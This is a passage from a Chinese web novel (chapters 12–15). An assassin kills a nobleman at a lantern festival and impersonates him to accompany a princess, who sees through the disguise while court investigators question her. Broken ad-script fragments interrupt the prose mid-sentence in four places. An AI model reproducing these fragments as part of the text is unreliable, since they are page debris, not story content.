加之华梨生的人面桃花,卫章的长相也算出挑,穿着华贵又容貌上乘的两人吸引了许多人的目光。 平日若仅有华梨一人,她倒能忍受,但身边跟了个暧昧不明的男子,倒叫华梨体会到什么是浑身不自然。 卫章看出华梨的不自然,略一思索,他领着华梨在一间货摊停下,拿起上面的面具: “小姐若感到不自在,不若戴上这个?” 12. 第 12 章 华梨低头看向货摊上的面具,没应和卫章。 远处澄亮的灯火亮晃晃地倒映在华梨的眼眸里,宛若东风夜放花千树。 华梨在众多憨厚可掬的面具中拿起一个恶鬼面具,血色的纹路顺着面具的边缘向上蔓延,像是不详的征兆。 卫章没想到华梨会选择这种可怖的面具。 他心思百转,故意挑了个白兔样式的面具戴在脸上。 笑道: “街道人多,若是我同小姐走散了,小姐大可凭着这张面具在人群中找到我,想来不会认错人。” 那摊主也附和卫章:“是嘞!咱家面具做工精细,个个都不重样,保准小娘子、小公子们能一眼在人堆儿里找到心上人!” 摊主误以为华梨和卫章是对眷侣。 此刻华梨已经戴上面具。摊主和卫章都看不见华梨的脸色,但卫章猜到华梨此刻定然不悦。 他忙付好钱,带着华梨离开面具摊。 华梨手上一直提着盏精致的琉璃花灯,卫章明显感觉到今日的华梨没有那天好说话。 一路走来华梨都没搭理他几句。 “不若我帮姑娘提着灯笼?”卫章试探性开口。 华梨摇头。 她看向远处河岸放河灯的男女,不知在想些什么。 卫章沿着华梨的目光看向河岸,揣度到华梨的心思:“小姐想放河灯吗?放河灯也是灯会的传统呢,无论是祈求什么,河灯总会带着美好的愿景,将愿望送至天际。” “我没放过河灯。” 华梨道。 “那我陪小姐一起去放……” 卫章话没说完就被华梨打断: “因为我不信这些东西,大多数河灯的命运不过被水淹没。” 卫章:“……” 他一时不知道怎么接话。 华梨语气淡淡,他根本不知道怎么判断对方现在的心情。 他多少有点后悔自己自作聪明提议戴面具的行为了。 看着河流上璀璨的河灯,华梨走到旁边买了一盏,她一手提着花灯,另一只手托着河灯。 转身对站在原地的卫章道:“你去前面那家铺子买点山楂糕。” 卫章见华梨对自己毫不客气,也不敢有异议,任劳任怨前去糕点铺。 走的有些距离,卫章回头看了眼华梨,嘴里嘟囔:“真是不讨人喜欢,这种大小姐脾气,要不是……” 后面的话没说完。 他提着糕点从铺子出来,华梨指的那家铺子山楂糕已经卖完了,他不敢空手回去,更不敢随意买其他糕点应付了事。 因害怕华梨等太久失去耐心,故而卫章跑着去了另一条街,他养尊处优惯了,等山楂糕买到手时,已是气喘吁吁。 幸而面具遮住他的狼狈。 五月初的夜晚算不得热。 卫章撑着腰,额头难得出现细密的汗珠。 他在心中吐槽起华梨事多,蓦然,卫章察觉不对。 但为时已晚。 灯会的主要举办地在西街,这条街上没多少人,以至于他从后被人捂住口鼻拖进巷子里都无人发觉。 一时间卫章惊慌极了。 是仇家? 他不敢确定到底是谁,因为他干过太多坏事。 身后之人内力强劲,卫章再怎么体虚,好歹也是个成年男子。但在身后之人的压制下,他毫无反抗之力。 这种情况下卫章压根逃脱不了,他强迫自己冷静下来,心想只要对方略一松口,他便同对方交涉。 这天下没有不能用钱解决的事。 而他恰好有的是钱。 但事与愿违。 身后之人丝毫没有同他交涉的欲望。 被拧断脖子之前,卫章听到:“两个人买你的命,其中一个叫我同你带话,多行不义必自毙。” 极冷的声音,像淬了寒冰。 如果华梨在场的话,她定然能听出这是“沈贰”的声音。 面前之人渐渐断了气息。 沈贰,或者说沈确将对方买给华梨的山楂糕捡起来。 心中思索自己见到的场景。 面前的人叫卫章,他的悬赏对象。 据沈确观察,此人出行随身携带侍卫,他一直未有时机动手。 直到今夜。 那位大小姐似乎不喜欢出行带着侍卫,卫章便独身赴灯会,这才给他下手的机会。 但,问题是…… 沈确看着手中的山楂糕,没什么感情的眸子里泛起涟漪。 他不常参与灯会,却也知晓灯会的含义。 他把那位小姐的心上人杀了。 她会讨厌、害怕他的吧。 沈确不知出于什么心思,扛着卫章的尸体到附近一间破庙。 他扒下卫章的衣服穿在自己身上,而后伸手将卫章脸上的面具摘下戴在自己脸上。 处理好一切后他重新买了份温热的山楂糕,朝着西街河岸奔去。 那位郡主两次放走自己。 他仅仅是不想让那位郡主的喜悦心情被破坏。 这些日子他想尽办法祛除身下的气息,如今略有成效,只要郡主不凑近,绝对闻不到那些味道。 他听过那人的声音,要模仿起来并不难。 她……不会认出他的。 隔着面罩,沈确看到了华梨孤身一人侧身坐在河岸。 她身旁放着那盏漂亮的琉璃灯和恶鬼面具,铁树银花在河的另一边绽放,所有的璀璨在华梨背后升起又陨落。 华梨没有看一眼。 她看上去很无聊,对这些不甚在意。 是因为等的人迟迟没有回来吗? 沈确走进华梨身边,轻轻唤了句:“小姐。” 又是烟火漫天,沈确看见华梨仰头看他时,因灯火的映衬,眸中有微光亮起。 华梨看他一眼,不知为何,这人买趟糕点回来,似乎变顺眼许多。 但华梨还是骂他:“买个糕点需要这么长时间?周围人都散了两三圈。” 沈确:“小姐抱歉,那家店里的山楂糕卖完了,我去到另外一家店铺,来回路上耽误了时间。惹得小姐生气,是我不对。” 华梨眨眨眼,看着带着白兔面具的男人,心中产生错觉: 面具下的男人一定是面无表情说完这些话。 可为什么会有这种错觉? 卫章明明是个油嘴滑舌的男人,脸上的笑容像是嵌在脸上。 她没有纠结心中怪异的感受,对卫章道:“你再去买盏河灯,我要放两个。” “河灯一次只能 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 放一个。”沈确道。 华梨感到被忤逆,颇感不快:“我想放几个放几个。” 沈确住嘴。 他不会说话,似乎常常惹华梨生气。 那位死掉的公子似乎更会与华梨相处,华梨从未对他发过火。 他垂下眼睫,买回了两盏花灯。 华梨看着他拿着两盏花灯,问:“你也要放花灯?“ 沈确点头。 华梨好似只是随口一问,并没有在意沈确的回答。 她站起身走到河边,但也许因为起身太快,华梨没能反应过来似的眼前一黑,身体摇摇晃晃下一刻就要跌倒。 沈确下意识伸手扶住华梨,华梨由于惯性倒在沈确怀里。 仅一瞬间。 华梨感觉自己似乎闻到的熟悉的香味。 也是这一瞬间,沈确拉开与华梨的距离。 华梨站稳身形,面色颇有诡异:为什么她会在卫章身上嗅到熟悉的香气? 难不成她对”沈贰“的单相思严重到这种程度? 沈贰看见华梨满脸异色,心弦微紧,他赶忙转移话题:“小姐,该放河灯了。” 夜色中,河灯里微弱的烛火摇摇晃晃,像是下一刻熄灭。 华梨“啊”了一声。 她接过沈确手上的河灯,和沈确一同将河灯放入和中。 波光粼粼的河面上都是精美小巧的河灯,华梨的河灯混在其中。 沈确侧过脸,意外看见了华梨少有的、认真的神色。 华梨素日写满不耐烦的面容十分柔和,眼神紧紧盯着那盏由她亲手放走的河灯。 沈确跟踪卫章时听到过卫章和华梨的谈话,当时的华梨言语充斥对放河灯的不屑一顾,不过转瞬又如此在意。 他想,华梨确是是如此。 对任何事不在意,又保留几分不足道的好奇。 像是施舍。 等到自己的河灯彻底不见踪影,华梨才满意地收回目光, 她的第一个河灯飘到半路,不知是何原因沉入河中,气的华梨差点下水将那河灯捞出来狠狠踩几脚才解气。 但华梨好歹没这么做。 她只是郁闷又咬牙切齿地等卫章回来,最后重新再放一次。 她起身拍拍手,看向“卫章”:“你方才说只能放一盏河灯是什么意思?” 卫章擅长说道,会和华梨讲一些她从未听过的民间传闻,所以华梨以为这也是什么未曾听过的规矩。 放完花灯正无聊着,华梨才想听听。 沈确不比卫章,他基本没念过书,平日生活甚是无趣,哪里会讲什么故事。 于是沈确实话实说:“我娘在我小时候和我说,人们放河灯的时候。只有第一盏是怀有最真挚情感的河灯,神佛太忙碌,只会看第一盏河灯的愿望。” 鬼神论。 华梨算不上讨厌,但也没什么兴趣。 “这样啊。” 她天生没有附和别人的习惯,此时觉得卫章顺眼,便讲起自己为什么要放第二盏。 男人脸上的白兔面具泛出温柔的光,华梨看着这个面具,莫名不顺眼,正想叫男人摘下面具,她注意到“卫章”的耳朵上多出来耳洞。 但她分明记得。 卫章耳上,是没有痕迹的。 13. 第 13 章 男子有耳洞甚是少见,华梨若注意到未必记不住。 更何况卫章不像是那种会戴耳饰的人。 在此之前,她只注意过一个男人有耳洞。 是“沈贰”。 她凑近面前假扮卫章的男人,想到自己曾在摔倒之际闻到的那股味道,心思微动。 若她是沈贰,在因身上异香被两次认出身份后定会想办法除去味道,可香气难除,难免会留下余味。 但为什么呢? 真的是欲擒故纵吗? 华梨觉得好笑。 极近的距离,像是回到最初华梨第一次见到对方时,询问他用的是什么香。 沈确呼吸微滞,被华梨如此行为惊到。 他后退半步华梨便前进半步,触及华梨眼中调笑是,沈确差点以为自己被华梨识破伪装。 可他转念一想又觉不可能。 如果猜到自己假扮成她的心上人,她定然会恼。 或许还会骂他。 他总归不是什么重要的人。 华梨没有继续逗他,她指着河岸边的琉璃花灯,叫沈确为她提着。 她走在前面,步调轻盈,是极放松的模样。 沈确跟在身后,不止拿着华梨的灯,还将她的面具一并带着。 华梨可不会在意真正的卫章到哪里去了,总归和她无关。身后跟着一个身份不明的男人华梨倒也不害怕。 毕竟若要动手,她未必逃的了。 更何况…… 华梨一笑。 她想看看这人到底想干什么。 沈确不知为何放趟河灯后华梨便兴致大涨,不仅拉着他将方才逛过的地方又逛一遍,还买了许多小玩意,让沈确生出一种她们真是眷侣的感觉。 他看着手上拎着的东西,想到:自己的时间不多了。 他不能陪华梨太长时间,仵作验尸能大概推测出死亡时间,他待得太久,会让华梨的口供对不上。 一个本该在那个时间段死掉的人,却在华梨口中陪她逛闹市。 华梨会被怀疑的。 更何况,他……也不想叫华梨知道,今晚陪她逛灯会的人,从心上人变成杀手。 于是快到西街尽头时,沈确轻轻开口:“小姐,天色已晚,我送你回长公主府吧。” 华梨回头看他一眼不说话,但沈确知道华梨有些不情愿和恼怒。沈确通过面具静静看着华梨,学着卫章的口吻: “今日颇不太平,尤其是夜里。若小姐在我身边出了什么事,不说长公主不会放过我,就连我自己都不会放过我。” 他模仿的惟妙惟肖,和华梨曾见见过的阴鸷杀手完全不同。 以至于华梨有点怀疑自己: 是不是自己搞错了? 她走近沈确,水润光泽的眼眸比天边星辰更加璀璨几分:“灯会要交换信物,你写信同我说你有精心准备,但是到现在了你还没给我呢。” 沈确沉默。 他不知道两人有过书信往来,更不知书信内容。卫章身上确实带有一枚精致无比的并蒂莲玉佩,看上去准备送给华梨。 但沈确不想送。 没有任何理由。 他看着华梨,道:“抱歉小姐,今夜出府前太过欣喜,我……将此事忘记了。待我回府,明日定当登门送上。” 原以为华梨会发火,谁料华梨却露出笑来。 这是她今夜第二个笑。 沈确忽然有点难受,因为他意识到华梨当真喜欢卫章。 似乎是喜欢的不得了。 华梨这边停下笑来,她眉眼弯的像月牙,是极灿烂的模样。 卫章确实同她书信,可信中从未提及交换信物一事,这完完全全是华梨便排出来诈人的鬼话。 她觉得眼前之人也很有趣。 哪怕华梨不确定他是不是沈贰,但华梨已然对他产生兴趣。 她似乎总会对这些见不得光的家伙产生兴趣。 虽有八分把握眼前之人就是沈贰,但就算不是又有什么影响? 她只招婿不嫁人,招的一个或者两个夫婿也没人敢在她面前说荒唐。 男人能三妻四妾,女人亦可五夫六郎。 华梨不觉得有什么不对。 更何况目前的情况未必能叫她招得一个如意郎君。 华梨抬眸对面前的男子道: “真的会登门送上吗?” 她意有所指,可惜沈确听不出来,也不敢听出来:“当然,小姐放心,我卫某说到做到。” 不信。 华梨撇撇嘴,却没说出来。 她对沈确道:“其实我也根本没同你准备信物,但是嘛……” 华梨欲言又止,低头在沈确手上提着的一众物品中翻翻找找,最终勾出一个保平安的香囊。 是白色的,上面绣有梨花。 华梨:“那个摊主说自己这里放有寺庙里专门供奉的平安符,我觉得此物最适合你,便买下来啦。” 一路上都是沈确在掏腰包,唯有这个平安符,华梨坚持要自己买下来。 沈确当时没多想,现在才知是送给自己的。 不,是送给卫章的。 平安符么…… 可卫章已经死了。 平安不了。 沈确没什么感情地想,他那种恶人在地府恐怕也平安不了。 但是。 沈确垂下眼帘。 华梨想叫他平安。 他忽然有一点后悔来见华梨。 这悔意稍纵即逝,沈确接过华梨手中精致小巧的香囊,笑道:“多谢小姐相赠,我定会好好珍惜。” 华梨轻哼:“本来就是保平安的,谈不上什么珍惜不珍惜,别把东西丢了就行。” “怎么会,小姐的东西。卫某珍惜都来不及,何来遗弃之说。” 华梨清楚若是卫章,定不敢丢掉她送的东西,可她不敢去定这个冒牌货会如何。 她手指微微摆弄腰间玉佩,声音不大不小:“你最好不敢。” 面前之人又催促华梨是时候回府,华梨松开摆弄玉佩的手,趁着沈确不注意碰到对方的面具。 也是极快的速度,华梨的手腕被抓住了。 对方的手很大,且凉,虎口处的薄茧蹭到华梨温热柔软的腕部肌肤。 华梨盯着对方,男人静默回视华梨。 就在华梨以为对方装不下去的时候,男人带着笑意的嗓音响起:”小姐这是干什么,吓我一跳。” 他指了指脸上的面具:“是要我摘下来吗?” 男人松开握住华梨的手,将面具轻轻摘下:“之前没有小姐的吩咐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,我一直不敢摘下面具,怕惹的小姐不快,毕竟我总以为小姐会更喜欢带着兔子面具的我。” 华梨沉默,出乎意料的,面具下仍是卫章的脸。 她原以为对方迟迟不摘面具是因为没有准备好□□。 她冷冷看着“卫章”: “把面具带回去,我确实不想看见你这张脸,油嘴滑舌的模样。” 说是厌恶,语气中并没有带着怒气。 沈贰从善如流地戴好面具。 为以防万一,他早早准备好了这一层人面。 任华梨如何聪明,也无法猜到今晚是他犹豫着筹备许久。 华梨本以为能见到面具下男人惊诧的样子,但没能见到,她觉得自己被耍了。 但思来想去,盯着男人的耳洞,华梨消气了: “你走近点。” 看到华梨多变的情绪,沈确不觉有异,依言凑近华梨。 因为是西街尽头,行人稀疏。 唯有通明的灯火一成不变地洒在人们身上。 男人低头,注视着华梨的动作。 华梨今日佩戴的耳坠并不明显,是由极其纤细的金丝构成,唯有折射出光的时候才会十分耀眼。 现如今,华梨正在将那耳坠从耳垂取下。 沈确注视着华梨的动作,他猜想如果是卫章,定会开口询问,于是沈确也问道: “小姐想干什么?” 华梨让他闭嘴。 她伸手碰了碰沈确的耳垂,沈确作为杀手对这种触碰十分敏感,他身体绷直,强忍着下意识的攻击和防守行为。 华梨装作没发现的样子轻点沈确的耳垂。 她的指腹温软,触感像是鸟羽轻轻拂过。 沈确忍不住开口:“这是不是于理不合……” 华梨:“闭嘴。” 沈确将没说完的话吞回去,他猜到华梨要干什么。 人在高度集中的时候触感会非常敏锐,比如此刻,他清楚的意识到华梨在将极为细小的、宛若银针的东西从他的耳洞穿过。 华梨的动作很慢,像是害怕扎到他,又像是在故意折磨他的意识。 痒痒的触感。 沈确心想。 华梨松手时他感到耳垂被轻轻扯动了一下,他侧过脸,看见华梨笑眯眯看着他。 “第一次见你的时候,我就觉得你该戴上这样漂亮的东西。” 她说。 可沈确不记得卫章有耳洞。 他耳垂泛热,心中却有凉意。 好在华梨并不打算此刻揭穿他的行为。 “不过我之前倒是未曾发觉你有耳洞。” 沈确不知华梨心思如何,华梨这般讲,他便当真认为华梨记不得:“或许是之前小姐并未对我如此上心。” 华梨点点头:“也是。” 她捉弄完沈确后,没再有其他的事,便顺着沈确的话回到长公主府。 转身回府前华梨像是想都什么似的:“南敬山的梨花最近才开,可是我府上的梨花已经到快凋谢的时间了,大概是在二十号的时候那边的景色最好。下次见面就在那里,说好了,不许不来。” 华梨补充:“二十号酉时,南敬山上的寺庙里。” 华梨说完,也不管冒牌货什么反应,毫不留恋地转身回到长公主府。 14. 第 14 章 山楂糕是华梨带回来送给如春的。 其他东西也被如春一一收整好,华梨则是倒头就睡。 沈确那边,他将自己的衣服同死去的卫章调换回来,看着卫章的尸体想到: 卫章没有耳洞,明日华梨若是见到尸体,定会发觉异常,届时她定然能猜出陪她逛了大半夜灯会的人是他,而非他。 会被讨厌的吧。 沈确想着,指尖碰到耳垂下的饰品,碎金碰撞发出细碎的响动。 他将面具摘下盖在卫章的脸上。 破庙因年久失修房顶有许多破洞,月光钻过破烂的屋顶照亮庙内的景色。神像上是一条又一条裂缝,灰尘掩盖他原本慈祥和蔼的神佛面。 沈确双手合十,席地而对被人遗忘的神像。 既然华梨想让卫章平安,他当为自己的杀孽忏悔。 也当,为卫章祈一场无用的福。 睁开眼,沈确漆黑的眼眸中根本没有任何虔诚。 . 灯会结束的第二天清晨,尖叫声打破官府内的宁静。 卫家大公子卫章的尸体在卫家附近的深巷中被人发现,脖子被人拧断,手法极为残忍。 这是近来第三起官员横死的事件。 有好事者发觉,每有官员横死,都有一人会出现在其中。 那就是华梨。 长公主府大清早迎来大理寺的传信,要华梨下午前去大理寺。 外界的传言愈发神乎其神,说华梨是灾星附体,还有人故意提起抓鬼道士的事情,造谣是华梨杀了这些人。 等到华梨洗漱好,穿戴整齐要出府时,一个鸡蛋迎面砸过来。 如春下意识挡在华梨身前,徒手抓住那颗即将砸在身上的鸡蛋,鸡蛋壳破碎,蛋液流出,将如春的手弄脏。 华梨站在如春身后,冷静看着侍从抓住那个扔鸡蛋的小孩。 虽外界流言众多,但实际敢堵在长公主府的人并不多。 毕竟自长公主外出经商,华梨代表的就是整个长公主府。 他们不怕华梨。 但是从内心惧怕华梨身后的权势。 华梨侧过脸低头对如春说:“回去净手,我在马车内等你。” 她将贴身手帕递给如春脸上神情淡漠,看不出喜怒。 如春接过手帕道谢。 华梨走向那个扔鸡蛋的小孩,绣满梨花样式的裙摆不染纤尘,未梳起的青丝落在身后。 她停在那个小孩半米远的地方,微笑: “可以和姐姐说说,为什么要在长公主府前扔鸡蛋吗?” 华梨不止笑的柔和,她的声音也放的很轻,像是毫不在意对方刚才的冒犯。 小孩本以为华梨会对他劈头盖脸的臭骂,没想到华梨这般温柔。 他不禁怔然放松警惕,心里话也忍不住说出来:“他们说你是扫把星,最近死的人都是你害的。” “哦。”华梨笑,笑容中藏着不耐,“你家中有亲人过世吗。” 小孩被触及触及伤心事,瞪大眼睛骂华梨:“都是你害的!我阿娘分明健康的很,前几天却突然掉池塘里淹死了,都怪你!” “这样啊,那你可真可怜。” 华梨脸上虚假的笑容收起来,她一巴掌扇在小孩的左脸,这一巴掌用了十成十的力道,打得小孩眼冒金星。 “你个贱人!疯婆子!……”侍卫赶忙用布堵住小孩的嘴巴,心中祈祷他莫要在说了。 能逼得华梨亲自动手打人,足以证明华梨在盛怒边缘。 他可不想被这小孩牵连。 华梨又扇了两巴掌在他脸上,那小孩疼极,眼泪哗哗往下流。 “送去官府。” 她不同情小男孩失去亲人的痛苦,旁人如何,与她何干。 千不该万不该凑到她面前讨打。 华梨掏出另一张手帕将手擦净,这才坐上马车,等到如春到后,主仆二人才前往大理寺。 “不知郡主可否讲述昨日之事。” 大理寺少卿端坐在一旁。 华梨回他:“我同卫章一起参加灯会,放河灯前我遣他去给我买山楂糕。等我放完河灯他才匆匆赶来,之后他又陪着我逛了一遍灯会。” “也就是说郡主您和死者分开过很长一段时间?我见死者尸体旁有一张面具。” “是,灯会开始没多久。他便提议主动戴上面具,大概考虑到我不喜欢被人注视。买完山楂糕回来后,他也一直带着面具,直到我同他分开时,他才摘下过面具。” 如此看来,死者是在回府路上被动的手。 可他总觉得哪里怪异。 大理寺少卿的目光落在华梨冷静的面容上。 这个华梨,有点不对劲。 但具体哪里不对劲他也说不上来。 于是他开口:“不知郡主是否愿意看一眼尸体,确认是否和你当时见到的是同一个人。” 华梨看着他,点点头。 他身后的府吏领着华梨向后院走去,一旁的主簿见华梨不见身影。压低声音询问少卿:“大人怀疑长阳郡主?” 少卿摇头:“她不可能是凶手,从那个角度来讲,凶手比起码七尺有余。” 主簿:“说来也真是倒霉,这个长阳郡主每次都能赶上命案,我看现在的流言……啧啧。” 少卿:“慎言。” 主簿得到他的点醒悻悻闭上嘴。 但不过片刻他又自己嘀咕道:“不过要是她真的是凶手,恐怕咱们也没权利拿人。” 越是权贵聚集的地方,这种现象愈发明显。 华梨跟着府吏到了卫章尸体停放的地方,目前还没有出现尸臭,府吏掀开白布,华梨看了一眼又移开目光。 死相有些太惨了。 她缓了缓才继续看下去,注意到卫章耳边没有任何东西:“和昨晚的似乎不是一个人。” 前来的大理寺少卿听到这句话,他问:“郡主为何如此笃定?” 华梨并没有想帮冒牌货掩盖身份的打算,却也不打算让自己被众人怀疑。 她指着卫章左耳地方道:“昨晚我发现他耳上有穿过耳洞的痕迹,便将我的一只耳坠戴在对方耳上。可现如今,卫章两只耳朵都没有痕迹。” 一种人听的有些惊讶,不禁在心中诽谤:华梨真真是不在乎男女大防。 再观华梨神色,丝毫不见不自然。 大理寺少卿轻咳一声,唤回大家的思绪,他道:“多谢郡主告知 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,有关本案的细节,恐怕还得再耽误郡主片刻。” 待到日暮时,华梨才被送回长公主府。 如春在替华梨拆卸头上的发饰时提到今天下午的那个小孩,他道:“那个小孩的母亲是撞见他偷腥的爹,被捂死扔在河里的。周围人不忍告诉他真相,反倒借着流言将祸水引到小姐身上,真是可笑。” 华梨:“蠢货就是蠢货,仇人都找不准。” 不用华梨开口,如春早就吩咐让人处理这件事。 如春是华梨身边的大侍女,在府中地位也不一般,她替华梨梳完头发后又去敦促小厨房准备晚膳。 凡是和华梨相关的事情她都要经手一遍才放心。 华梨无聊间拿起榻上放着的话本,她走到窗边后发觉窗沿上的玉瓶里放着两支含苞待放的梨花。 她目光微停,望着其中盛放的梨花。 华梨叫来今日负责打扫的侍女,那侍女也很惊讶:“府上梨花花期已过,这玉瓶空置好几日了,今日奴婢并未发现玉瓶中留有梨花。” “这样啊,我知道了,你下去吧。” 华梨大概猜到是谁了。 她昨天说要对方今日送上交换的信物,又在临走时提到敬南山的梨花。 今日他便把敬南山的梨花折了两支送过来。 看着那两支梨花,华梨觉得有些好笑。 对方定然是知道自己冒牌货的身份被拆穿,却还送来意味不明的梨花。 她但凡胆子小一点,恐怕都要以为这是在威胁自己。 但虽然华梨胆子不小,却依旧不知道这是什么意思。 她看不明白。 指尖捻起落在窗沿的花瓣,华梨将花瓣碾碎。 . “最近三名官员横死事件,恐怕都是长影街所为。” “何以见得。” 大理寺内,气氛紧张。 “他们死法虽然都不一样,但身上既无虐杀痕迹,又无钱财丢失,往往是一击毙命。除了长影街那群不要命的疯子,恐怕没有别的人了。” 底下的主簿提出问题:“关键是为什么这次的杀手杀完人后,还要伪装成卫章跟在长阳郡主身边,未免太可疑了。但长阳郡主和这件事看起来没什么关系,凭她的手段,未必要在昨晚下手,所以问题还是出现在杀手身上。” “他们长影街是拿钱办事,杀完人没必要留在原处。跟在长阳郡主身后,是否是长阳郡主也……被盯上了。” “不无可能。若这些事都是长影街所为,长阳郡主三次都在现场,也许是发现了什么。再论长阳郡主的脾气,被人悬赏不无可能。” “那得多少钱啊……” 众人的讨论一停。 刺杀华梨意味着得罪长公主府,长公主和当今陛下关系甚笃,若华梨出事,整个京城恐怕都不安生。 “明日你、我,还有小荷,我们三人便装前往长公主府,再同长阳郡主交涉。” 大理寺卿面目疲惫。 所有事件一到长影街便会中止线索,就好像有谁在护着长影街。 他摇摇头,将杂念撇去: “你们几个今夜查查卫章,前两个横死的人都不干净,我总觉得这个卫章,也是亦然。” 15. 第 15 章 西城,民宅区。 沈确这些天接悬赏所收取的赏金全部用来为姜不离买药,他平日没有太大的开销,但所剩银钱并不多。 夜色浓稠,狭窄的房间里,月光难以照入,破旧的桌上放着华梨送“他”的香囊。 连带着那日华梨亲手为他戴上的耳坠,也被他放入其中。 香囊上的刺绣精致华丽,和阴暗的房屋半点不衬。 沈确生了张极为稠丽浓颜的面容,他的眼型狭长却不薄情,只眼神是冷的,宛若一潭无法搅动的死水。 他看着那个华贵的香囊,微出神。 夜坊那日,并非是他和她第一次相见。 早些年华梨于他有过恩情,华梨早就忘却的事,被沈确记了大半辈子。 沈确此人缺少常识,后来又常年侵泡在杀戮中,长时间的、麻木、痛苦的训练让他更加麻木冷血,他曾有五年时间未开口讲过半句话。 那五年也是他杀人最多的五年。 他并不爱杀戮,但是当“杀”成为唯一的存活方式,他会不留余力的去进行这件事。 在他心中杀手就是该杀人的,就像渔夫要捕鱼、猎户要捕猎。 他没有善恶,也不怕报复。 讽刺的是,这样将人命当作草芥的人,会知道有恩必报。 十六岁那年有人替他挡下一击,那人死后他的余生便在照顾对方的幼妹。 可对于华梨,沈确没有报恩的机会,反而似乎得罪了对方。 他惯不会思考杀人之外的事,但能大概通过这些年的为人处事推测出华梨会有的反应。 想来她现在已经知晓自己假冒卫章一事。 对他恨极、厌极。 毕竟当年为救他而死掉的人,对方的妹妹知道前因后果之后,虽然愿意接受他的照拂,但对方也在恨着他。 沈确被很多人痛恨,他从不会有任何触动。 可每每想到华梨亦会恨他厌他,他总会有股怪异的感受。 沈确不知如何形容心中的感受,于是他将其理解为未能报恩的遗憾。 . 大理寺中人前来拜访华梨时,华梨正在想那夜她同冒牌货说过的约定。 她想知道这个假装成卫章的杀手会不会去。 华梨自幼见过不少人,她能辨清许多人内心真正的欲望,譬如五皇子的好算盘。 但对于最近发生的事她却没办法看清。 虽十拿九稳灯会中的男子是沈贰,但华梨仍觉身处一团迷雾。 她不知道对方的真正长相、姓名,就连品性也一概不知。 回想起那夜她自己的举动,华梨都觉心惊。 几天过去,华梨逐渐冷静下来。 她必须制止这种现象。 诚然华梨目前对沈贰有极大好感,但这种好感并不足以让华梨把未来的时间也浪费在他身上。 因为沈贰对华梨来说是个虚无的存在。 他不受华梨控制。 当欣喜退却,余下的只有恐慌。 华梨当断则断,她吩咐侍从扔掉了那夜从灯会带回来的东西,连同窗台上即将枯萎的梨花。 这种人,不该占据她的心神。 “郡主,大理石中的几位大人正在会客厅,说有要事。” 华梨没理由不见,她点点头:“知道了,这封信送去华百川府邸,另外找人的事暂且搁置。” 信中的内容无非是让华百川以后莫要传信于她,她对所谓“情夫”已经失去兴趣。 华梨换了身衣裳去到会客厅。 她扫了眼来者,一位是大理寺卿张青柳,两外两个似乎都是主簿。 华梨记得一个叫李细,一个叫赵支荷。 张青柳言简意赅:“灯会一事目前大理寺中无甚进展,我们一经商量后想再同郡主询问细节。” 华梨点头,表示了解。 “郡主在与后来的假扮卫章的人相处时,对方可曾说过什么奇怪的话?” 华梨:“并无,而且我同卫章认识的时间并不长,就算有什么细微的差别,恐怕我也分不清。” 她间张青柳犯难,补充说道:“但他身上有股非常淡的香味。” 张青柳抬头:“香味?” 华梨道:“我天生嗅觉敏锐,能问到常人闻不到的气息,当时我并为觉得有异,但现在想来,那股味道我曾在假扮侍女混入夜坊中的那个杀手身上闻到过。” 华梨不打算惹是生非,故而没有提及春宴上的事。 但只要大理寺的人够聪明,恐怕不难联想到春宴。 “这香气我并不确定,因为我和他之间一直保持距离,那股浅香是在我跌倒之际他将我扶稳时,我才闻到的。相较于夜坊中的味道,那股味道更淡,淡到我不能肯定地说究竟存不存在。” 这是实话,华梨不敢把话说的太肯定。 两个主簿彼此对视了一眼,心中都只有一个想法:太巧了。 两次官员遇刺案的杀手都和华梨有交集,甚至这两个杀手还可能是一个人,如此很难不怀疑春宴上的杀手是否也被华梨遇见过。 若着三起案件的凶手都和华梨有过交集,很难不让人怀疑到华梨身上。 两位主簿想到的问题,张青柳自然也能考虑到。 但三人都未曾表现出来。 华梨心中有数。 她此前未曾交代细节虽抱有袒护沈确的心思,亦有考量到想明哲保身。 至于现在…… 华梨的目光落在张青柳身上,薄唇轻启:“我怀疑他要对我下手。” 会客厅没有外人在场,华梨的话让原本安静的现场变得更加死寂。 前院侍女交流说笑的声音隐隐约约,她不自觉转动手上的玉镯,整理思绪说道: “第一次我和长影街的杀手碰面是巧合。但是第二次,他完全没有必要前来接近我,若非心怀不轨,不用大费周折冒着被发现的风险假扮成卫章。” 华梨:“所以我怀疑,我可能在所谓的悬赏名单中,也或是他为了其他目的接近我。但不管怎么说,于我而言都是桩麻烦事。” 华梨这些话说的半真半假,目的只为将自己尽量摘清大理寺的怀疑范围。 而好巧不巧,大理寺亦有同样猜测。 张青柳轻咳嗽一声,心道华梨果真不是像传闻那般,是个不学无术的草包。 他道:“郡主聪慧,既然如此我们也不瞒郡主。此番我等三 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人前来拜访除却是想核对一些细节,也是怀疑郡主被长影街盯上,想前来提醒郡主。” “毕竟暗箭难防。” 华梨不甚在意点点头:“多谢提醒。” 提醒已然送到,张青柳知道长公主府上戒备森严,也没有多说什么,继续询问关于那夜灯会的事,企图从蛛丝马迹中找到线索。 等到一行人询问完毕,在返回大理寺的途中,赵支荷道:“这位华阳郡主看上去有所保留。” 张青柳不意外:“这是自然,毕竟说多了话惹的咱们怀疑也不好。” 李细嚷嚷:“那也没办法啊,咱们干这行的可不得疑神疑鬼……只是嘛,根据本书生为官多年的判断。”他摇头晃脑,和在华府时的严肃截然相反,“她应该和这件事关系不大。” 赵支荷最嫌弃李细这幅模样,啐他:“有病就去找医师。” 她骂完李细,转过头看向张青柳,脸上是淡淡的冷漠:“虽如此,我也认为长阳郡主和此事关系不大。但不知为什么,我心中总是有种异样感,这种感觉很微妙。” 张青柳和赵支荷的想法一致,他暂且压下这股怪异,对两位手下说道: “既然长阳郡主的嫌疑排除,那么我们现在把中心重放回长影街和死者卫章身上,长影街再次行动,还如此招摇,这其中定有什么未曾被人发觉的联系。” . 大理寺一行人的讨论华梨并不知晓,她在张青柳一行人走后吩咐如春提前安排好人手。 她要按照“约定”,去趟南敬山。 